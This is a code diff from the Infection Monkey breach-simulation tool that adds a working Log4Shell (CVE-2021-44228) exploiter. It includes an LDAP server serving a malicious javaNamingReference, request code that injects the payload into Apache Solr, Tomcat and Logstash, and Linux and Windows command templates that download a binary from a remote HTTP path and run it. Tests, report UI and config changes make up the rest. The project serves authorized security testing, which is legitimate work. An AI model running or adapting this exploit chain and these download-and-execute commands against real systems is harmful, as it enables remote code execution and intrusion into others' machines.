+from ldaptor.protocols.ldap.ldapserver import LDAPServer
+from twisted.application import service
+from twisted.internet import reactor
+from twisted.internet.protocol import ServerFactory
+from twisted.python import log
+from twisted.python.components import registerAdapter
+
+logger = logging.getLogger(__name__)
+
+EXPLOIT_RDN = "dn=Exploit"
+REACTOR_START_TIMEOUT_SEC = 30.0
+
+
+class LDAPServerStartError(Exception):
+ pass
+
+
+class Tree:
+ """
+ An LDAP directory information tree (DIT) used to exploit log4shell
+ Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
+ """
+
+ def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path):
+ self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir)
+ self.db = LDIFTreeEntry(self.path)
+
+ self._init_db(http_server_ip, http_server_port)
+
+ def _init_db(self, http_server_ip: str, http_server_port: int):
+ attributes = {
+ "javaFactory": ["Exploit"],
+ "objectClass": ["javaNamingReference"],
+ "javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"],
+ "javaClassName": ["Exploit"],
+ }
+
+ self.db.addChild(EXPLOIT_RDN, attributes)
+
+
+class LDAPServerFactory(ServerFactory):
+ """
+ Our Factory is meant to persistently store the ldap tree
+ Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
+ """
+
+ protocol = LDAPServer
+
+ def __init__(self, root):
+ self.root = root
+
+ def buildProtocol(self, addr):
+ proto = self.protocol()
+ proto.debug = self.debug
+ proto.factory = self
+ return proto
+
+
+class LDAPExploitServer:
+ """
+ This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell.
+ Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
+ """
+
+ def __init__(
+ self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path
+ ):
+ """
+ :param ldap_server_port: The port that the LDAP server will listen on.
+
+ :param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell
+ Java class.
+
+ :param http_server_port: The port the HTTP server is listening on.
+
+ :param storage_dir: A directory where the LDAP server can safely store files it needs during
+ runtime.
+ """
+ self._reactor_startup_completed = multiprocessing.Event()
+ self._ldap_server_port = ldap_server_port
+ self._http_server_ip = http_server_ip
+ self._http_server_port = http_server_port
+ self._storage_dir = storage_dir
+
+ # A Twisted reactor can only be started and stopped once. It cannot be restarted after it
+ # has been stopped. To work around this, the reactor is configured and run in a separate
+ # process. This allows us to run multiple LDAP servers sequentially or simultaneously and
+ # stop each one when we're done with it.
+ self._server_process = multiprocessing.Process(
+ target=self._run_twisted_reactor, daemon=True
+ )
+
+ def run(self):
+ """
+ Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the
+ server and blocks until either the server has successfully started or it times out.
+
+ :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
+ """
+ logger.info("Starting LDAP exploit server")
+ self._server_process.start()
+ reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
+
+ if not reactor_running:
+ raise LDAPServerStartError("An unknown error prevented the LDAP server from starting")
+
+ logger.debug("The LDAP exploit server has successfully started")
+
+ def _run_twisted_reactor(self):
+ logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
+ self._configure_twisted_reactor()
+
+ # Since the call to reactor.run() blocks, a separate thread is started to poll the value
+ # of `reactor.running` and set the self._reactor_startup_complete Event when the reactor
+ # is running. This allows the self.run() function to block until the reactor has
+ # successfully started.
+ threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start()
+ reactor.run()
+
+ def _check_if_reactor_startup_completed(self):
+ check_interval_sec = 0.25
+ num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
+
+ for _ in range(0, num_checks):
+ if reactor.running:
+ logger.debug("Twisted reactor startup completed")
+ self._reactor_startup_completed.set()
+ break
+
+ logger.debug("Twisted reactor has not yet started")
+ time.sleep(check_interval_sec)
+
+ def _configure_twisted_reactor(self):
+ LDAPExploitServer._output_twisted_logs_to_python_logger()
+
+ registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry)
+
+ tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir)
+ factory = LDAPServerFactory(tree.db)
+ factory.debug = True
+
+ application = service.Application("ldaptor-server")
+ service.IServiceCollection(application)
+ reactor.listenTCP(self._ldap_server_port, factory)
+
+ @staticmethod
+ def _output_twisted_logs_to_python_logger():
+ # Configures Twisted to output its logs using the standard python logging module instead of
+ # the Twisted logging module.
+ # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html
+ log_observer = log.PythonLoggingObserver()
+ log_observer.start()
+
+ def stop(self, timeout: float = None):
+ """
+ Stops the LDAP server.
+
+ :param timeout: A floating point number of seconds to wait for the server to stop. If this
+ argument is None (the default), the method blocks until the LDAP server
+ terminates. If `timeout` is a positive floating point number, this method
+ blocks for at most `timeout` seconds.
+ """
+ if self._server_process.is_alive():
+ logger.debug("Stopping LDAP exploit server")
+
+ # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully
+ # shutdown.
+ self._server_process.terminate()
+ self._server_process.join(timeout)
+
+ if self._server_process.is_alive():
+ logger.warning("Timed out while waiting for the LDAP exploit server to stop")
+ else:
+ logger.debug("Successfully stopped the LDAP exploit server")
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py
new file mode 100644
index 000000000..8b44e0e56
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py
@@ -0,0 +1,10 @@
+from typing import List
+
+from .i_service_exploiter import IServiceExploiter
+from .solr import SolrExploit
+from .tomcat import TomcatExploit
+from .logstash import LogStashExploit
+
+
+def get_log4shell_service_exploiters() -> List[IServiceExploiter]:
+ return [SolrExploit(), TomcatExploit(), LogStashExploit()]
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py
new file mode 100644
index 000000000..3d7951d76
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py
@@ -0,0 +1,17 @@
+import abc
+
+from infection_monkey.model import VictimHost
+
+
+class IServiceExploiter(metaclass=abc.ABCMeta):
+ @property
+ @abc.abstractmethod
+ def service_name(self) -> str:
+ # Should have the name of the exploited service
+ pass
+
+ @staticmethod
+ @abc.abstractmethod
+ def trigger_exploit(payload: str, host: VictimHost, port: int) -> str:
+ # Return the URL the exploit was attempted on
+ raise NotImplementedError
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py
new file mode 100644
index 000000000..d347a0e4f
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py
@@ -0,0 +1,22 @@
+from logging import getLogger
+
+import requests
+
+from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
+from infection_monkey.model import VictimHost
+
+logger = getLogger(__name__)
+
+
+class LogStashExploit(IServiceExploiter):
+ service_name = "LogStash"
+
+ @staticmethod
+ def trigger_exploit(payload: str, host: VictimHost, port: int):
+ url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}"
+ try:
+ requests.get(url, timeout=5, verify=False) # noqa DUO123
+ except requests.ReadTimeout as e:
+ logger.debug(f"Log4shell request failed {e}")
+
+ return url
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py
new file mode 100644
index 000000000..a21d66a3a
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py
@@ -0,0 +1,22 @@
+from logging import getLogger
+
+import requests
+
+from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
+from infection_monkey.model import VictimHost
+
+logger = getLogger(__name__)
+
+
+class SolrExploit(IServiceExploiter):
+ service_name = "Apache Solr"
+
+ @staticmethod
+ def trigger_exploit(payload: str, host: VictimHost, port: int):
+ url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}"
+ try:
+ requests.post(url, timeout=5, verify=False) # noqa DUO123
+ except requests.ReadTimeout as e:
+ logger.debug(f"Log4shell request failed {e}")
+
+ return url
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py
new file mode 100644
index 000000000..68e0cfdf9
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py
@@ -0,0 +1,23 @@
+from logging import getLogger
+
+import requests
+
+from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
+from infection_monkey.model import VictimHost
+
+logger = getLogger(__name__)
+
+
+class TomcatExploit(IServiceExploiter):
+ service_name = "Apache Tomcat"
+
+ @staticmethod
+ def trigger_exploit(payload: str, host: VictimHost, port: int):
+ url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample"
+ payload = {"dataname": "foo", "datavalue": payload}
+ try:
+ requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
+ except requests.ReadTimeout as e:
+ logger.debug(f"Log4shell request failed {e}")
+
+ return url
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index b029f211f..5efb7a64d 100644
--- a/monkey/infection_monkey/exploit/struts2.py
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -10,6 +10,7 @@ import ssl
import urllib.error
import urllib.parse
import urllib.request
+from typing import List, Tuple
from infection_monkey.exploit.web_rce import WebRCE
@@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE):
exploit_config["dropper"] = True
return exploit_config
- def build_potential_urls(self, ports, extensions=None):
- """
- We need to override this method to get redirected url's
- :param ports: Array of ports. One port is described as size 2 array: [port.no(int),
- isHTTPS?(bool)]
- Eg. ports: [[80, False], [443, True]]
- :param extensions: What subdirectories to scan. www.domain.com[/extension]
- :return: Array of url's to try and attack
- """
- url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
- url_list = [self.get_redirected(url) for url in url_list]
+ @staticmethod
+ def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
+ url_list = WebRCE.build_potential_urls(ip, ports)
+ url_list = [Struts2Exploiter.get_redirected(url) for url in url_list]
return url_list
@staticmethod
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index a8ce60a40..715a94b1c 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -2,6 +2,7 @@ import logging
import re
from abc import abstractmethod
from posixpath import join
+from typing import List, Tuple
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
@@ -21,6 +22,7 @@ from infection_monkey.model import (
POWERSHELL_HTTP_UPLOAD,
RUN_MONKEY,
WGET_HTTP_UPLOAD,
+ VictimHost,
)
from infection_monkey.network.tools import tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
@@ -99,7 +101,9 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
- potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"])
+ potential_urls = self.build_potential_urls(
+ self.host.ip_addr, ports, exploit_config["url_extensions"]
+ )
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
if not self.are_vulnerable_urls_sufficient():
@@ -154,8 +158,12 @@ class WebRCE(HostExploiter):
"""
raise NotImplementedError()
- def get_open_service_ports(self, port_list, names):
+ @staticmethod
+ def get_open_service_ports(
+ victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str]
+ ): # noqa: F821
"""
+ :param victim_host: VictimHost object that exploiter is targeting
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
@@ -163,12 +171,12 @@ class WebRCE(HostExploiter):
candidate_services = {}
candidate_services.update(
{
- service: self.host.services[service]
- for service in self.host.services
+ service: victim_host.services[service]
+ for service in victim_host.services
if (
- self.host.services[service]
- and "name" in self.host.services[service]
- and self.host.services[service]["name"] in names
+ victim_host.services[service]
+ and "name" in victim_host.services[service]
+ and victim_host.services[service]["name"] in names
)
}
)
@@ -216,10 +224,12 @@ class WebRCE(HostExploiter):
logger.error("Host's exploitability check failed due to: %s" % e)
return False
- def build_potential_urls(self, ports, extensions=None):
+ @staticmethod
+ def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
"""
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
extensions.
+ :param ip: IP address of the victim
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
@@ -237,9 +247,7 @@ class WebRCE(HostExploiter):
protocol = "https"
else:
protocol = "http"
- url_list.append(
- join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
- )
+ url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension))
if not url_list:
logger.info("No attack url's were built")
return url_list
@@ -329,7 +337,7 @@ class WebRCE(HostExploiter):
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [
port.nr, IsHTTPS?]
"""
- ports = self.get_open_service_ports(ports, names)
+ ports = WebRCE.get_open_service_ports(self.host, ports, names)
if not ports:
logger.info("All default web ports are closed on %r, skipping", str(self.host))
return False
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index 7c39075be..c0429fc8b 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -60,4 +60,15 @@ HADOOP_LINUX_COMMAND = (
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
)
+LOG4SHELL_LINUX_COMMAND = (
+ "wget -O %(monkey_path)s %(http_path)s ;"
+ " chmod +x %(monkey_path)s ;"
+ " %(monkey_path)s %(monkey_type)s %(parameters)s"
+)
+
+LOG4SHELL_WINDOWS_COMMAND = (
+ 'powershell -NoLogo -Command "'
+ "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
+ ' %(monkey_path)s %(monkey_type)s %(parameters)s"'
+)
DOWNLOAD_TIMEOUT = 180
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index 7f740eeb2..e262feb19 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -108,14 +108,14 @@ else:
return routes
-def get_free_tcp_port(min_range=1000, max_range=65535):
- start_range = min(1, min_range)
+def get_free_tcp_port(min_range=1024, max_range=65535):
+ min_range = max(1, min_range)
max_range = min(65535, max_range)
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
for i in range(min_range, max_range):
- port = randint(start_range, max_range)
+ port = randint(min_range, max_range)
if port not in in_use:
return port
diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py
index a9eb03d62..9151ff259 100644
--- a/monkey/monkey_island/cc/services/config_schema/basic.py
+++ b/monkey/monkey_island/cc/services/config_schema/basic.py
@@ -17,6 +17,7 @@ BASIC = {
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
+ "Log4ShellExploiter",
"ShellShockExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
index 44463bbcd..56f81256b 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -147,5 +147,16 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey"
"/docs/reference/exploiters/powershell",
},
+ {
+ "type": "string",
+ "enum": ["Log4ShellExploiter"],
+ "title": "Log4Shell Exploiter",
+ "safe": True,
+ "info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java "
+ "logging framework. Exploitation is attempted on the following services — "
+ "Apache Solr, Apache Tomcat, Logstash.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference"
+ "/exploiters/log4shell/",
+ },
],
}
diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py
index 86318eaf1..9f3033435 100644
--- a/monkey/monkey_island/cc/services/config_schema/internal.py
+++ b/monkey/monkey_island/cc/services/config_schema/internal.py
@@ -97,7 +97,7 @@ INTERNAL = {
"type": "array",
"uniqueItems": True,
"items": {"type": "integer"},
- "default": [80, 8080, 443, 8008, 7001, 9200],
+ "default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600],
"description": "List of ports the monkey will check if are being used "
"for HTTP",
},
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py
index 44e0c922a..7d7921b8b 100644
--- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py
@@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
ExploitProcessor,
)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501
+ Log4ShellProcessor,
+)
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501
ShellShockExploitProcessor,
)
@@ -48,6 +51,7 @@ class ExploiterDescriptorEnum(Enum):
POWERSHELL = ExploiterDescriptor(
"PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor
)
+ LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor)
@staticmethod
def get_by_class_name(class_name: str) -> ExploiterDescriptor:
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py
index 087ee6a39..069d93a8d 100644
--- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py
@@ -21,3 +21,4 @@ class ExploiterReportInfo:
port: Union[str, None] = None
paths: Union[List[str], None] = None
password_restored: Union[bool, None] = None
+ service: Union[str, None] = None
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py
new file mode 100644
index 000000000..62330e424
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501
+ ExploiterReportInfo,
+)
+
+
+class Log4ShellProcessor:
+ @staticmethod
+ def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
+ ip_addr = exploit_dict["data"]["machine"]["ip_addr"]
+ machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr))
+ port = exploit_dict["data"]["info"]["vulnerable_service"]["port"]
+ service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"]
+ return ExploiterReportInfo(
+ ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service
+ )
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index 181110929..38c8593cb 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -1,6 +1,6 @@
{
"name": "infection-monkey",
- "version": "1.11.0",
+ "version": "1.13.0",
"lockfileVersion": 1,
"requires": true,
"dependencies": {
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index f7c86151b..9f6667163 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -1,6 +1,6 @@
{
"private": true,
- "version": "1.12.0",
+ "version": "1.13.0",
"name": "infection-monkey",
"description": "Infection Monkey C&C UI",
"scripts": {
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index 2850af42d..63d1d7e6f 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
+import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
import {
crossSegmentIssueOverview,
@@ -145,6 +146,11 @@ class ReportPageComponent extends AuthComponent {
[this.issueContentTypes.REPORT]: zerologonIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
+ 'Log4ShellExploiter': {
+ [this.issueContentTypes.OVERVIEW]: log4shellIssueOverview,
+ [this.issueContentTypes.REPORT]: log4shellIssueReport,
+ [this.issueContentTypes.TYPE]: this.issueTypes.DANGER
+ },
'zerologon_pass_restore_failed': {
[this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning
},
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js
new file mode 100644
index 000000000..0adec1540
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+import {Button} from 'react-bootstrap';
+
+export function log4shellIssueOverview() {
+ return (Some servers are vulnerable to the Log4Shell remote code execution exploit.)
+}
+
+export function log4shellIssueReport(issue) {
+ return (
+ <>
+ Upgrade the Apache Log4j component to version 2.15.0 or later.
+
+ The {issue.service} server {issue.machine} ({issue.ip_address}:{issue.port}) is vulnerable to the Log4Shell remote code execution attack.
+
+ The attack was made possible due to an old version of Apache Log4j component (
+ ).
+
+ >
+ );
+}
diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class
new file mode 100644
index 000000000..e4192de0d
Binary files /dev/null and b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class differ
diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java
new file mode 100644
index 000000000..48f61ab65
--- /dev/null
+++ b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java
@@ -0,0 +1,5 @@
+public class SourceCode {
+ static {
+ System.out.println("Hello World!");
+ }
+}
diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py
new file mode 100644
index 000000000..01d4f61c4
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py
@@ -0,0 +1,34 @@
+import pytest
+
+from infection_monkey.exploit.log4shell_utils import (
+ LINUX_EXPLOIT_TEMPLATE_PATH,
+ InvalidExploitTemplateError,
+ build_exploit_bytecode,
+)
+
+
+@pytest.fixture
+def payload():
+ return "bash -c 'touch /tmp/exploit-test'"
+
+
+@pytest.fixture
+def invalid_templates_dir(data_for_tests_dir):
+ return data_for_tests_dir / "invalid_log4j_bytecode_templates"
+
+
+def test_inject_command(payload):
+ expected_bytecode = b"\x21" + payload.encode() + b"\x0c"
+
+ exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH)
+ assert expected_bytecode in exploit_bytecode
+
+
+def test_missing_injection_tag(invalid_templates_dir, payload):
+ with pytest.raises(InvalidExploitTemplateError):
+ build_exploit_bytecode(payload, invalid_templates_dir / "MissingTag.class")
+
+
+def test_uncompiled_java_class(invalid_templates_dir, payload):
+ with pytest.raises(InvalidExploitTemplateError):
+ build_exploit_bytecode(payload, invalid_templates_dir / "SourceCode.java")
diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
new file mode 100644
index 000000000..b22ef41da
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py
@@ -0,0 +1,54 @@
+import pytest
+import requests
+
+from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer
+from infection_monkey.network.info import get_free_tcp_port
+
+
+@pytest.fixture
+def ip():
+ return "127.0.0.1"
+
+
+@pytest.fixture
+def port():
+ return get_free_tcp_port()
+
+
+@pytest.fixture
+def java_class():
+ return b"\xde\xad\xbe\xef"
+
+
+@pytest.fixture
+def server(ip, port, java_class):
+ server = ExploitClassHTTPServer(ip, port, java_class, 0.01)
+ server.run()
+
+ yield server
+
+ server.stop()
+
+
+@pytest.fixture
+def exploit_url(ip, port):
+ return f"http://{ip}:{port}/Exploit"
+
+
+@pytest.mark.usefixtures("server")
+def test_only_single_download_allowed(exploit_url, java_class):
+ response_1 = requests.get(exploit_url)
+ assert response_1.status_code == 200
+ assert response_1.content == java_class
+
+ response_2 = requests.get(exploit_url)
+ assert response_2.status_code == 429
+ assert response_2.content != java_class
+
+
+def test_exploit_class_downloded(server, exploit_url):
+ assert not server.exploit_class_downloaded()
+
+ requests.get(exploit_url)
+
+ assert server.exploit_class_downloaded()
diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py
new file mode 100644
index 000000000..6d0a8715b
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py
@@ -0,0 +1,35 @@
+import pytest
+from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server
+
+from infection_monkey.exploit.log4shell_utils import LDAPExploitServer
+from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN
+from infection_monkey.network.info import get_free_tcp_port
+
+
+@pytest.mark.slow
+def test_ldap_server(tmp_path):
+ http_ip = "172.10.20.30"
+ http_port = 9999
+ ldap_port = get_free_tcp_port()
+
+ ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path)
+ ldap_server.run()
+
+ server = Server(host="127.0.0.1", port=ldap_port)
+ conn = Connection(server, auto_bind=True)
+ conn.search(
+ search_base=EXPLOIT_RDN,
+ search_filter="(objectClass=*)",
+ search_scope=BASE,
+ attributes=ALL_ATTRIBUTES,
+ )
+
+ assert len(conn.response) == 1
+ attributes = conn.response[0]["attributes"]
+
+ assert attributes.get("objectClass", None) == ["javaNamingReference"]
+ assert attributes.get("javaClassName", None) == ["Exploit"]
+ assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"]
+ assert attributes.get("javaFactory", None) == ["Exploit"]
+
+ ldap_server.stop()
diff --git a/vulture_allowlist.py b/vulture_allowlist.py
index b57fe73ab..93e70d970 100644
--- a/vulture_allowlist.py
+++ b/vulture_allowlist.py
@@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real
dead or is kept deliberately. Referencing these in a file like this makes sure that
Vulture doesn't mark these as dead again.
"""
+from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
from monkey_island.cc.models import Report
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
@@ -64,6 +65,7 @@ HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_proc
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
+ExploiterDescriptorEnum.LOG4SHELL
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43)
@@ -178,6 +180,7 @@ Report.recommendations
Report.glance
Report.meta_info
Report.meta
+LDAPServerFactory.buildProtocol
# these are not needed for it to work, but may be useful extra information to understand what's going on
